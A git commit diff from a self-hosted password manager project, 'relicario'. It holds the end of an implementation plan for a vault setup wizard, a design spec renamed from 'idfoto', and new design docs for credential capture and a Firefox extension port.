||||
}, null, 2);
|
||||
await navigator.clipboard.writeText(config);
|
||||
const el = document.querySelector('[data-action="copy-config"]')!;
|
||||
el.classList.add('test-ok');
|
||||
setTimeout(() => el.classList.remove('test-ok'), 1500);
|
||||
});
|
||||
}
|
||||
|
||||
// --- Read form inputs into state ---
|
||||
|
||||
function readInputs(): void {
|
||||
const hostUrl = document.getElementById('host-url') as HTMLInputElement;
|
||||
const repoPath = document.getElementById('repo-path') as HTMLInputElement;
|
||||
const apiToken = document.getElementById('api-token') as HTMLInputElement;
|
||||
const passphrase = document.getElementById('passphrase') as HTMLInputElement;
|
||||
const passphraseConfirm = document.getElementById('passphrase-confirm') as HTMLInputElement;
|
||||
|
||||
if (hostUrl) state.hostUrl = hostUrl.value.trim();
|
||||
if (repoPath) state.repoPath = repoPath.value.trim();
|
||||
if (apiToken) state.apiToken = apiToken.value.trim();
|
||||
if (passphrase) state.passphrase = passphrase.value;
|
||||
if (passphraseConfirm) state.passphraseConfirm = passphraseConfirm.value;
|
||||
}
|
||||
|
||||
// --- Vault Creation ---
|
||||
|
||||
async function createVault(): Promise<void> {
|
||||
const w = await initWasm();
|
||||
const git = createGitHost(state.hostType, state.hostUrl, state.repoPath, state.apiToken);
|
||||
|
||||
// 1. Generate random 32-byte image_secret
|
||||
const imageSecret = new Uint8Array(32);
|
||||
crypto.getRandomValues(imageSecret);
|
||||
|
||||
// 2. Embed secret into carrier JPEG
|
||||
const referenceJpeg = w.embed_image_secret(state.carrierImageBytes!, imageSecret);
|
||||
state.referenceImageBytes = new Uint8Array(referenceJpeg);
|
||||
|
||||
// 3. Generate random 32-byte salt
|
||||
const salt = new Uint8Array(32);
|
||||
crypto.getRandomValues(salt);
|
||||
|
||||
// 4. Create KDF params
|
||||
const params = { argon2_m: 65536, argon2_t: 3, argon2_p: 4 };
|
||||
const paramsJson = JSON.stringify(params);
|
||||
|
||||
// 5. Derive master_key
|
||||
const masterKey = w.derive_master_key(state.passphrase, imageSecret, salt, paramsJson);
|
||||
|
||||
// 6. Encrypt empty manifest
|
||||
const emptyManifest = JSON.stringify({ entries: {}, version: 1 });
|
||||
const manifestEnc = w.encrypt_manifest(emptyManifest, masterKey);
|
||||
|
||||
// 7. Push vault files to repo
|
||||
await git.writeFile('.relicario/salt', salt, 'feat: initialize relicario vault');
|
||||
await git.writeFile('.relicario/params.json', new TextEncoder().encode(paramsJson), 'chore: add KDF params');
|
||||
await git.writeFile('.relicario/devices.json', new TextEncoder().encode('[]'), 'chore: add empty devices list');
|
||||
await git.writeFile('manifest.enc', new Uint8Array(manifestEnc), 'feat: add encrypted manifest');
|
||||
}
|
||||
|
||||
// --- Extension Detection ---
|
||||
|
||||
function detectExtension(): Promise<boolean> {
|
||||
return new Promise((resolve) => {
|
||||
try {
|
||||
if (typeof chrome === 'undefined' || !chrome.runtime?.sendMessage) {
|
||||
resolve(false);
|
||||
return;
|
||||
}
|
||||
chrome.runtime.sendMessage(
|
||||
{ type: 'get_setup_state' },
|
||||
(response) => {
|
||||
if (chrome.runtime.lastError || !response) {
|
||||
resolve(false);
|
||||
} else {
|
||||
resolve(true);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch {
|
||||
resolve(false);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// --- Init ---
|
||||
|
||||
document.addEventListener('DOMContentLoaded', render);
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/src/setup/setup.ts
|
||||
git commit -m "feat: add vault initialization wizard"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 5: Update Webpack and Manifest
|
||||
|
||||
**Files:**
|
||||
- Modify: `extension/webpack.config.js`
|
||||
- Modify: `extension/manifest.json`
|
||||
|
||||
- [ ] **Step 1: Add setup entry point to webpack**
|
||||
|
||||
In `extension/webpack.config.js`, add `setup` to the `entry` object:
|
||||
|
||||
```javascript
|
||||
entry: {
|
||||
'service-worker': './src/service-worker/index.ts',
|
||||
popup: './src/popup/popup.ts',
|
||||
content: './src/content/detector.ts',
|
||||
setup: './src/setup/setup.ts',
|
||||
},
|
||||
```
|
||||
|
||||
Add `setup.html` to the CopyPlugin patterns array:
|
||||
|
||||
```javascript
|
||||
{ from: 'setup.html', to: '.' },
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Add web_accessible_resources to manifest.json**
|
||||
|
||||
Add to `extension/manifest.json`, after the `content_security_policy` block:
|
||||
|
||||
```json
|
||||
"web_accessible_resources": [{
|
||||
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"],
|
||||
"matches": ["<all_urls>"]
|
||||
}]
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Build and verify**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
Expected: Builds successfully with `dist/setup.js` and `dist/setup.html` in the output.
|
||||
|
||||
- [ ] **Step 4: Commit**
|
||||
|
||||
```bash
|
||||
git add extension/webpack.config.js extension/manifest.json
|
||||
git commit -m "feat: add setup wizard to webpack build and extension manifest"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 6: Build and Manual Test
|
||||
|
||||
**Files:** None (integration testing)
|
||||
|
||||
- [ ] **Step 1: Rebuild WASM**
|
||||
|
||||
```bash
|
||||
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Rebuild extension**
|
||||
|
||||
```bash
|
||||
cd extension && bun run build
|
||||
```
|
||||
|
||||
- [ ] **Step 3: Run Rust tests**
|
||||
|
||||
```bash
|
||||
cargo test
|
||||
```
|
||||
|
||||
Expected: All tests pass (including the new `embed_then_extract_round_trip`).
|
||||
|
||||
- [ ] **Step 4: Load in Chrome and test**
|
||||
|
||||
1. Open `chrome://extensions/`, reload the unpacked extension from `extension/dist/`
|
||||
2. Open `chrome-extension://<extension-id>/setup.html`
|
||||
3. Verify:
|
||||
- Step 1: host toggle switches between Gitea/GitHub instructions
|
||||
- Step 2: enter real host/token/repo, test connection works
|
||||
- Step 3: pick a JPEG, enter passphrase, create vault pushes files
|
||||
- Step 4: download reference image works, extension detection works
|
||||
4. Verify the vault repo now has `.relicario/salt`, `.relicario/params.json`, `.relicario/devices.json`, `manifest.enc`
|
||||
5. Open extension popup, unlock with passphrase — should work with the just-created vault
|
||||
|
||||
- [ ] **Step 5: Fix any issues found**
|
||||
|
||||
- [ ] **Step 6: Final commit**
|
||||
|
||||
```bash
|
||||
git add -A
|
||||
git commit -m "feat: complete vault initialization wizard"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task Summary
|
||||
|
||||
| Task | Description | Dependencies |
|
||||
|------|-------------|--------------|
|
||||
| 1 | Add `embed_image_secret` to WASM crate | None |
|
||||
| 2 | Add WASM type declaration | Task 1 |
|
||||
| 3 | Create setup page HTML | None |
|
||||
| 4 | Create setup wizard TypeScript | Task 2, 3 |
|
||||
| 5 | Update webpack and manifest | Task 3, 4 |
|
||||
| 6 | Build and manual test | All |
|
||||
|
||||
Tasks 1 and 3 can run in parallel. Tasks 2 and 4 are sequential after 1. Task 5 depends on 3+4. Task 6 is final integration.
|
||||
3290
docs/superpowers/plans/2026-04-12-relicario-wasm-extension.md
Normal file
3290
docs/superpowers/plans/2026-04-12-relicario-wasm-extension.md
Normal file
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
3319
docs/superpowers/plans/2026-04-20-relicario-extension-1c-alpha.md
Normal file
3319
docs/superpowers/plans/2026-04-20-relicario-extension-1c-alpha.md
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1,10 +1,10 @@
|
||||
# idfoto — Design Specification
|
||||
# relicario — Design Specification
|
||||
|
||||
A git-backed, self-hostable password manager with a Rust core, CLI, and Chrome browser extension. The reference image as a DCT-embedded secret carrier is the core differentiator.
|
||||
|
||||
## Overview
|
||||
|
||||
idfoto is a password manager where vault decryption requires two independent factors: a passphrase the user memorizes and a reference JPEG that carries a 256-bit secret embedded via DCT steganography. The vault lives in a git repository (self-hosted on the user's own Gitea instance), and the server only ever sees opaque ciphertext. Compromise of either factor alone is insufficient to decrypt the vault.
|
||||
relicario is a password manager where vault decryption requires two independent factors: a passphrase the user memorizes and a reference JPEG that carries a 256-bit secret embedded via DCT steganography. The vault lives in a git repository (self-hosted on the user's own Gitea instance), and the server only ever sees opaque ciphertext. Compromise of either factor alone is insufficient to decrypt the vault.
|
||||
|
||||
Primary goals: portfolio project for adlee.work, architectural elegance, legibility-as-security (the README should read as the security proof), learning Rust, and fun to tinker with.
|
||||
|
||||
@@ -23,7 +23,7 @@ A collection of credentials (usernames, passwords, URLs, TOTP seeds, notes) belo
|
||||
| Stolen device | Filesystem: reference image, device key, cached vault | Decrypt vault | Attacker has image_secret but not passphrase. Argon2id makes brute-force expensive. |
|
||||
| Stolen device + weak passphrase | Same + feasible brute-force | Decrypt vault | Enforce minimum passphrase strength at vault creation. Universal worst case. |
|
||||
| Shoulder surfer | Observed passphrase | Decrypt vault (if they also get image) | Passphrase alone insufficient — still need image_secret. |
|
||||
| Credential stuffing | Leaked email/password from other breaches | Access user's accounts | idfoto generates unique passwords per site. Breach of site A doesn't compromise site B. |
|
||||
| Credential stuffing | Leaked email/password from other breaches | Access user's accounts | relicario generates unique passwords per site. Breach of site A doesn't compromise site B. |
|
||||
|
||||
### Out of scope
|
||||
|
||||
@@ -50,7 +50,7 @@ passphrase (user types, UTF-8 encoded)
|
||||
▼
|
||||
Argon2id(
|
||||
password = passphrase_bytes || image_secret_bytes, // concatenated, 32-byte secret appended
|
||||
salt = vault_salt, // 32 bytes, from .idfoto/salt
|
||||
salt = vault_salt, // 32 bytes, from .relicario/salt
|
||||
memory = 64 MiB,
|
||||
iterations = 3,
|
||||
parallelism = 4,
|
||||
@@ -79,7 +79,7 @@ With a 4-word diceware passphrase (~51 bits) and Argon2id at 64 MiB, brute-force
|
||||
Compared to competitors:
|
||||
- LastPass/Bitwarden: server breach exposes ~40-60 bits (master password only)
|
||||
- 1Password: server breach exposes password + 128-bit Secret Key
|
||||
- idfoto: server breach exposes password + 256-bit image_secret
|
||||
- relicario: server breach exposes password + 256-bit image_secret
|
||||
|
||||
### Authenticated encryption
|
||||
|
||||
@@ -103,7 +103,7 @@ Nonce is generated fresh (CSPRNG) on every write. Version byte allows future for
|
||||
|
||||
### KDF parameters
|
||||
|
||||
Stored in `.idfoto/params.json` (plaintext, committed). Configurable per-vault:
|
||||
Stored in `.relicario/params.json` (plaintext, committed). Configurable per-vault:
|
||||
- Default: `argon2_m=65536` (64 MiB), `argon2_t=3`, `argon2_p=4`
|
||||
- Users can increase for CLI-only use on powerful hardware
|
||||
- Enables future parameter upgrades without format changes
|
||||
@@ -177,13 +177,13 @@ Caller must normalize EXIF orientation before passing JPEG to embed/extract. EXI
|
||||
## Vault Format & Repo Layout
|
||||
|
||||
```
|
||||
idfoto-vault/
|
||||
relicario-vault/
|
||||
├── manifest.enc # encrypted JSON: entry index, vault metadata
|
||||
├── entries/
|
||||
│ ├── a1b2c3d4.enc # one encrypted entry per file, random hex ID
|
||||
│ ├── e5f6a7b8.enc
|
||||
│ └── ...
|
||||
└── .idfoto/
|
||||
└── .relicario/
|
||||
├── salt # 32 bytes, plaintext (prevents precomputation)
|
||||
├── params.json # Argon2id parameters, plaintext
|
||||
└── devices.json # authorized device ed25519 public keys, plaintext
|
||||
@@ -226,7 +226,7 @@ Flat schema. No nested objects, no folders, no tags for V1. Entry IDs are random
|
||||
|
||||
### Plaintext metadata
|
||||
|
||||
Stored in `.idfoto/` and committed to the repo:
|
||||
Stored in `.relicario/` and committed to the repo:
|
||||
- `salt`: 32 random bytes, generated once at vault creation
|
||||
- `params.json`: Argon2id tuning knobs (memory, iterations, parallelism, format version)
|
||||
- `devices.json`: list of authorized device ed25519 public keys, used to verify commit signatures
|
||||
@@ -244,20 +244,20 @@ Preserved as-is. Every add/edit/rm is a commit. Provides "when was this password
|
||||
## Crate Layout
|
||||
|
||||
```
|
||||
idfoto/
|
||||
relicario/
|
||||
├── Cargo.toml # workspace root
|
||||
├── crates/
|
||||
│ ├── idfoto-core/ # library: imgsecret, KDF, vault format
|
||||
│ ├── relicario-core/ # library: imgsecret, KDF, vault format
|
||||
│ │ └── src/
|
||||
│ │ ├── lib.rs
|
||||
│ │ ├── imgsecret.rs
|
||||
│ │ ├── kdf.rs
|
||||
│ │ ├── vault.rs
|
||||
│ │ └── entry.rs
|
||||
│ ├── idfoto-cli/ # binary: the `idfoto` CLI
|
||||
│ ├── relicario-cli/ # binary: the `relicario` CLI
|
||||
│ │ └── src/
|
||||
│ │ └── main.rs
|
||||
│ └── idfoto-wasm/ # wasm-bindgen wrapper around core
|
||||
│ └── relicario-wasm/ # wasm-bindgen wrapper around core
|
||||
│ └── src/
|
||||
│ └── lib.rs
|
||||
├── extension/ # TypeScript Chrome MV3 extension
|
||||
@@ -271,14 +271,14 @@ idfoto/
|
||||
|
||||
### Design principles
|
||||
|
||||
- **`idfoto-core` is platform-agnostic.** No filesystem, no git, no network. Takes bytes, returns bytes. This makes it trivially portable to WASM, Android (via JNI), iOS (via Swift bridge).
|
||||
- **`idfoto-cli`** is the platform layer. Handles filesystem, git operations (shells out to `git`), clipboard, terminal I/O.
|
||||
- **`idfoto-wasm`** is a thin wasm-bindgen wrapper exposing core functions to JavaScript.
|
||||
- **`relicario-core` is platform-agnostic.** No filesystem, no git, no network. Takes bytes, returns bytes. This makes it trivially portable to WASM, Android (via JNI), iOS (via Swift bridge).
|
||||
- **`relicario-cli`** is the platform layer. Handles filesystem, git operations (shells out to `git`), clipboard, terminal I/O.
|
||||
- **`relicario-wasm`** is a thin wasm-bindgen wrapper exposing core functions to JavaScript.
|
||||
- **`extension/`** is TypeScript/MV3. Loads the WASM module, runs crypto inline (no native messaging bridge).
|
||||
|
||||
### Rust crate dependencies (expected)
|
||||
|
||||
**idfoto-core:**
|
||||
**relicario-core:**
|
||||
- `argon2` — Argon2id KDF
|
||||
- `chacha20poly1305` — XChaCha20-Poly1305 AEAD
|
||||
- `sha2` — SHA-256 for hashing
|
||||
@@ -290,44 +290,44 @@ idfoto/
|
||||
- `ed25519-dalek` — device key signing (used by CLI, exposed via core)
|
||||
- `thiserror` — error types
|
||||
|
||||
**idfoto-cli:**
|
||||
**relicario-cli:**
|
||||
- `clap` (derive) — argument parsing
|
||||
- `anyhow` — CLI error handling
|
||||
- `rpassword` — passphrase prompt without echo
|
||||
- `arboard` or `cli-clipboard` — clipboard access
|
||||
- `dirs` — platform config/data directories
|
||||
|
||||
**idfoto-wasm:**
|
||||
**relicario-wasm:**
|
||||
- `wasm-bindgen` — JS interop
|
||||
- `js-sys`, `web-sys` — browser APIs
|
||||
|
||||
## CLI Commands
|
||||
|
||||
```
|
||||
idfoto init # Create vault: generate salt, prompt for passphrase,
|
||||
relicario init # Create vault: generate salt, prompt for passphrase,
|
||||
# prompt for carrier image, embed image_secret,
|
||||
# output reference JPEG, git init + first commit
|
||||
|
||||
idfoto add # Prompt for entry fields, encrypt, commit
|
||||
idfoto get <name> # Case-insensitive substring match on name/URL, decrypt, copy password to clipboard (30s TTL)
|
||||
idfoto list # Decrypt manifest, print entry names/URLs
|
||||
idfoto edit <name> # Decrypt entry, prompt for changes, re-encrypt, commit
|
||||
idfoto rm <name> # Remove entry file, update manifest, commit
|
||||
idfoto sync # git pull --rebase && git push
|
||||
idfoto generate # Generate a random password (utility, no vault interaction)
|
||||
relicario add # Prompt for entry fields, encrypt, commit
|
||||
relicario get <name> # Case-insensitive substring match on name/URL, decrypt, copy password to clipboard (30s TTL)
|
||||
relicario list # Decrypt manifest, print entry names/URLs
|
||||
relicario edit <name> # Decrypt entry, prompt for changes, re-encrypt, commit
|
||||
relicario rm <name> # Remove entry file, update manifest, commit
|
||||
relicario sync # git pull --rebase && git push
|
||||
relicario generate # Generate a random password (utility, no vault interaction)
|
||||
|
||||
idfoto device add # Generate ed25519 keypair, add pubkey to devices.json, commit
|
||||
idfoto device list # List authorized devices
|
||||
idfoto device revoke <name> # Remove device from devices.json, commit
|
||||
relicario device add # Generate ed25519 keypair, add pubkey to devices.json, commit
|
||||
relicario device list # List authorized devices
|
||||
relicario device revoke <name> # Remove device from devices.json, commit
|
||||
```
|
||||
|
||||
Unlock flow: on any command that needs the vault, the CLI prompts for the passphrase and the reference image path (or uses a configured default path). Derives master_key, holds it in memory for the duration of the command, then drops it. No persistent daemon for V1 — each invocation re-derives.
|
||||
|
||||
Future: `idfoto unlock` could spawn a background agent (ssh-agent-style) that holds the key for a configurable TTL, so subsequent commands don't re-prompt.
|
||||
Future: `relicario unlock` could spawn a background agent (ssh-agent-style) that holds the key for a configurable TTL, so subsequent commands don't re-prompt.
|
||||
|
||||
## Chrome Extension Architecture
|
||||
|
||||
The Chrome MV3 extension loads `idfoto-wasm` directly — no native messaging bridge.
|
||||
The Chrome MV3 extension loads `relicario-wasm` directly — no native messaging bridge.
|
||||
|
||||
- **Service worker:** initializes the WASM module, holds the master_key in memory after unlock, handles vault operations
|
||||
- **Popup:** passphrase prompt, entry list/search, entry detail view
|
||||
@@ -343,16 +343,16 @@ Extension design details (popup UI, content script heuristics, autofill flow) ar
|
||||
|
||||
Not in V1 scope. Planned approach:
|
||||
|
||||
- `idfoto export-recovery` generates a small encrypted file containing only the `image_secret` (32 bytes + metadata), locked with the passphrase alone (separate Argon2id derivation)
|
||||
- `relicario export-recovery` generates a small encrypted file containing only the `image_secret` (32 bytes + metadata), locked with the passphrase alone (separate Argon2id derivation)
|
||||
- User stores this file offline (USB drive, printed QR, safe deposit box)
|
||||
- Recovery: `idfoto recover --file recovery.enc` + passphrase → recovers image_secret → can decrypt vault from git
|
||||
- Recovery: `relicario recover --file recovery.enc` + passphrase → recovers image_secret → can decrypt vault from git
|
||||
- This is a second backup path alongside the "dead drop" reference JPEG (which can live on social media, personal website, etc.)
|
||||
|
||||
## Post-V1 Ideas
|
||||
|
||||
- **Secure notes:** free-form encrypted text entries (no URL/username/password schema, just a title + body). Same encryption, same repo layout — just a different entry type field.
|
||||
- **Secure document storage:** encrypted file attachments up to 5-10 MB per entry. Stored as separate `.enc` blobs in an `attachments/` directory, referenced by entry ID. Git handles large binary blobs tolerably at this scale; git-lfs is an option if vaults grow beyond ~100 MB total.
|
||||
- **`idfoto unlock` daemon:** ssh-agent-style background process that holds master_key for a configurable TTL, so repeated CLI commands don't re-prompt for passphrase.
|
||||
- **`relicario unlock` daemon:** ssh-agent-style background process that holds master_key for a configurable TTL, so repeated CLI commands don't re-prompt for passphrase.
|
||||
- **Mobile clients (Android/iOS):** Rust core compiles to ARM. Thin native wrappers (Kotlin/Swift) deferred.
|
||||
- **Import from LastPass/Bitwarden/1Password**
|
||||
- **Firefox/Safari extensions**
|
||||
@@ -0,0 +1,180 @@
|
||||
# relicario — Credential Capture Design
|
||||
|
||||
Experimental feature that detects login form submissions and prompts the user to save or update credentials in the vault. Configurable prompt style (notification bar or toast). Off by default.
|
||||
|
||||
## Scope
|
||||
|
||||
- Content script: detect form submissions with password fields, capture credentials
|
||||
- Prompt UI: injected notification bar or floating toast (user-configurable)
|
||||
- Dedup: check manifest before prompting — skip if already saved, offer update if password changed
|
||||
- Blacklist: "Never for this site" option, persisted in `chrome.storage.local`
|
||||
- Settings: enable/disable capture, choose prompt style
|
||||
- Popup: settings view accessible from unlock screen
|
||||
|
||||
## Trigger
|
||||
|
||||
The content script listens for two events on forms that contain a password field:
|
||||
|
||||
1. `submit` event on the `<form>` element
|
||||
2. `click` event on submit buttons (`button[type=submit]`, `input[type=submit]`, or buttons inside the form)
|
||||
|
||||
When triggered:
|
||||
1. Read the username value from the detected username field (same detection priority as `detector.ts`)
|
||||
2. Read the password value from the password field
|
||||
3. If either is empty, skip
|
||||
4. Send `{ type: 'check_credential', url, username, password }` to the service worker
|
||||
|
||||
## Service Worker: `check_credential` Message
|
||||
|
||||
New message type added to the Request union:
|
||||
|
||||
```typescript
|
||||
{ type: 'check_credential'; url: string; username: string; password: string }
|
||||
```
|
||||
|
||||
Response:
|
||||
|
||||
```typescript
|
||||
{ ok: true; data: { action: 'save' | 'update' | 'skip'; entryId?: string; entryName?: string } }
|
||||
```
|
||||
|
||||
Logic:
|
||||
1. If vault is locked, respond `skip`
|
||||
2. Check `captureBlacklist` in `chrome.storage.local` — if the URL's hostname is blacklisted, respond `skip`
|
||||
3. Check `captureEnabled` setting — if false, respond `skip`
|
||||
4. Search manifest entries by hostname match (same as `findByUrl`)
|
||||
5. If no match: respond `{ action: 'save' }`
|
||||
6. If match with same username and same password: respond `{ action: 'skip' }` (already saved)
|
||||
7. If match with same username but different password: respond `{ action: 'update', entryId, entryName }` (password changed)
|
||||
8. If match with different username: respond `{ action: 'save' }` (new account on same site)
|
||||
|
||||
To compare passwords in step 6/7, the service worker must decrypt the matched entry to read the stored password. This is acceptable because it only happens on form submission, not on every page load.
|
||||
|
||||
## Prompt UI
|
||||
|
||||
Two styles, user-configurable:
|
||||
|
||||
### Bar Mode (default)
|
||||
|
||||
A fixed-position bar at the top of the page, injected into the DOM:
|
||||
|
||||
```
|
||||
┌──────────────────────────────────────────────────────────────────┐
|
||||
│ relicario: Save login for github.com? (alee) [Save] [Never] [✕] │
|
||||
└──────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
- Background: #161b22, border-bottom: 1px solid #30363d
|
||||
- Text: #c9d1d9, monospace font
|
||||
- Slides down from top with CSS transition
|
||||
- z-index: 2147483647 (max, above everything)
|
||||
- Save button: #1f6feb, Never button: #21262d, Dismiss: ✕ icon
|
||||
- For updates: "Update password for github.com? (alee)" with [Update] button
|
||||
|
||||
### Toast Mode
|
||||
|
||||
A floating element in the bottom-right corner:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────┐
|
||||
│ relicario │
|
||||
│ Save login for github.com? │
|
||||
│ alee │
|
||||
│ [Save] [Never] [✕] │
|
||||
└─────────────────────────────────┘
|
||||
```
|
||||
|
||||
- Position: fixed, bottom: 16px, right: 16px
|
||||
- Same color scheme as bar mode
|
||||
- Border: 1px solid #30363d, border-radius: 4px
|
||||
- Auto-dismiss after 15 seconds if not interacted with
|
||||
- For updates: same layout with "Update password?" text
|
||||
|
||||
### Prompt Behavior
|
||||
|
||||
When user clicks:
|
||||
- **Save:** Content script sends `add_entry` message to service worker with `{ name: hostname, url: full_url, username, password }`. On success, prompt shows brief "Saved" confirmation then disappears.
|
||||
- **Update:** Content script sends `update_entry` message with the existing entry ID and new password. Brief "Updated" confirmation.
|
||||
- **Never:** Content script sends `{ type: 'blacklist_site', hostname }` to service worker, which appends to `captureBlacklist` in `chrome.storage.local`. Prompt disappears.
|
||||
- **Dismiss (✕):** Prompt disappears. No action taken. Will prompt again next time.
|
||||
|
||||
## Settings
|
||||
|
||||
Stored in `chrome.storage.local` under key `settings`:
|
||||
|
||||
```typescript
|
||||
interface RelicarioSettings {
|
||||
captureEnabled: boolean; // default: false
|
||||
captureStyle: 'bar' | 'toast'; // default: 'bar'
|
||||
}
|
||||
```
|
||||
|
||||
Plus a separate key `captureBlacklist: string[]` (array of hostnames).
|
||||
|
||||
### Settings View in Popup
|
||||
|
||||
Accessible from the unlock screen via a "settings" link (already exists as a button). New popup view `settings` that shows:
|
||||
|
||||
```
|
||||
← back
|
||||
|
||||
SETTINGS
|
||||
|
||||
CREDENTIAL CAPTURE (experimental)
|
||||
[toggle] Auto-detect logins
|
||||
Style: [bar ▾] / [toast]
|
||||
|
||||
BLACKLISTED SITES
|
||||
github.com [✕]
|
||||
netflix.com [✕]
|
||||
```
|
||||
|
||||
The toggle and style selector write to `chrome.storage.local`. Blacklist entries can be removed individually.
|
||||
|
||||
## New Message Types
|
||||
|
||||
```typescript
|
||||
// Request
|
||||
| { type: 'check_credential'; url: string; username: string; password: string }
|
||||
| { type: 'blacklist_site'; hostname: string }
|
||||
| { type: 'get_settings' }
|
||||
| { type: 'update_settings'; settings: Partial<RelicarioSettings> }
|
||||
| { type: 'get_blacklist' }
|
||||
| { type: 'remove_blacklist'; hostname: string }
|
||||
|
||||
// Response for check_credential
|
||||
{ ok: true; data: { action: 'save' | 'update' | 'skip'; entryId?: string; entryName?: string } }
|
||||
```
|
||||
|
||||
## File Structure
|
||||
|
||||
### New files
|
||||
|
||||
```
|
||||
extension/src/content/capture.ts # Form submission listener + prompt injection
|
||||
extension/src/popup/components/settings.ts # Settings view
|
||||
```
|
||||
|
||||
### Modified files
|
||||
|
||||
```
|
||||
extension/src/content/detector.ts # Import and init capture module
|
||||
extension/src/service-worker/index.ts # Handle new message types
|
||||
extension/src/shared/messages.ts # Add new Request/Response types
|
||||
extension/src/shared/types.ts # Add RelicarioSettings interface
|
||||
extension/src/popup/popup.ts # Add 'settings' view to state machine
|
||||
extension/src/popup/components/unlock.ts # Wire up settings button
|
||||
```
|
||||
|
||||
## Security
|
||||
|
||||
- Credentials are captured from the DOM only on form submission — no keylogging, no continuous monitoring
|
||||
- Captured credentials are sent to the service worker via `chrome.runtime.sendMessage` (same secure channel as autofill)
|
||||
- The prompt UI is injected into the page DOM but styled with inline styles and high z-index to avoid CSS conflicts
|
||||
- The "Never" blacklist prevents unwanted prompting but doesn't affect manual autofill
|
||||
|
||||
## Non-Goals
|
||||
|
||||
- Detecting password change forms (change old → new password flows)
|
||||
- Capturing credentials from non-standard login flows (OAuth redirects, SSO)
|
||||
- Syncing settings across devices
|
||||
@@ -0,0 +1,196 @@
|
||||
# relicario — Firefox Extension Port Design
|
||||
|
||||
Port the existing Chrome MV3 extension to Firefox. Shared TypeScript source, separate manifests, separate build outputs. No code changes to components, popup, or content script.
|
||||
|
||||
## Scope
|
||||
|
||||
- Firefox-specific `manifest.json`
|
||||
- WASM loading compatibility (dynamic import for Firefox background script)
|
||||
- Second webpack config for Firefox build target
|
||||
- npm scripts for building both browsers
|
||||
|
||||
## What Stays the Same
|
||||
|
||||
All TypeScript source files are shared between Chrome and Firefox:
|
||||
- `src/service-worker/` — all files (with one environment check for WASM loading)
|
||||
- `src/popup/` — all components, styles, HTML
|
||||
- `src/content/` — detector, fill, icon, capture
|
||||
- `src/setup/` — setup wizard
|
||||
- `src/shared/` — types, messages
|
||||
- `setup.html` — init wizard
|
||||
|
||||
Firefox supports the `chrome.*` namespace for WebExtension APIs, so no `browser.*` polyfill is needed. All Chrome API calls (`chrome.runtime.sendMessage`, `chrome.storage.local`, `chrome.tabs`, etc.) work as-is.
|
||||
|
||||
## Manifest Differences
|
||||
|
||||
### Chrome (`manifest.json` — existing)
|
||||
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"background": {
|
||||
"service_worker": "service-worker.js",
|
||||
"type": "module"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Firefox (`manifest.firefox.json` — new)
|
||||
|
||||
```json
|
||||
{
|
||||
"manifest_version": 3,
|
||||
"name": "relicario",
|
||||
"version": "0.1.0",
|
||||
"description": "Two-factor encrypted password manager",
|
||||
"browser_specific_settings": {
|
||||
"gecko": {
|
||||
"id": "relicario@adlee.work",
|
||||
"strict_min_version": "128.0"
|
||||
}
|
||||
},
|
||||
"permissions": ["storage", "activeTab", "clipboardWrite"],
|
||||
"host_permissions": ["<all_urls>"],
|
||||
"background": {
|
||||
"scripts": ["service-worker.js"]
|
||||
},
|
||||
"action": {
|
||||
"default_popup": "popup.html",
|
||||
"default_icon": {
|
||||
"16": "icons/icon-16.png",
|
||||
"48": "icons/icon-48.png",
|
||||
"128": "icons/icon-128.png"
|
||||
}
|
||||
},
|
||||
"content_scripts": [{
|
||||
"matches": ["<all_urls>"],
|
||||
"js": ["content.js"],
|
||||
"run_at": "document_idle"
|
||||
}],
|
||||
"content_security_policy": {
|
||||
"extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
|
||||
},
|
||||
"web_accessible_resources": [{
|
||||
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
Key differences from Chrome manifest:
|
||||
- `browser_specific_settings.gecko.id` — required for Firefox, uses email-style ID
|
||||
- `browser_specific_settings.gecko.strict_min_version` — Firefox 128+ for stable MV3 support
|
||||
- `background.scripts` instead of `background.service_worker` + `type: module` — Firefox MV3 background scripts are NOT service workers, they're persistent scripts
|
||||
- `web_accessible_resources` — Firefox doesn't use `matches` field in the resource entries
|
||||
|
||||
## WASM Loading
|
||||
|
||||
The service worker `index.ts` currently uses `initSync` with `chrome.runtime.getURL` because Chrome MV3 service workers don't support dynamic `import()`. Firefox background scripts DO support `import()`.
|
||||
|
||||
Add an environment check to `index.ts`:
|
||||
|
||||
```typescript
|
||||
async function initWasm(): Promise<WasmModule> {
|
||||
if (wasm) return wasm;
|
||||
|
||||
if (typeof ServiceWorkerGlobalScope !== 'undefined') {
|
||||
// Chrome MV3: service worker context — use initSync
|
||||
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
|
||||
const wasmBytes = await wasmResponse.arrayBuffer();
|
||||
initSync({ module: new WebAssembly.Module(wasmBytes) });
|
||||
} else {
|
||||
// Firefox: background script context — dynamic import works
|
||||
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
|
||||
await initDefault(wasmUrl);
|
||||
}
|
||||
|
||||
vault.setWasm(wasmBindings);
|
||||
wasm = wasmBindings;
|
||||
wasmReady = true;
|
||||
return wasm;
|
||||
}
|
||||
```
|
||||
|
||||
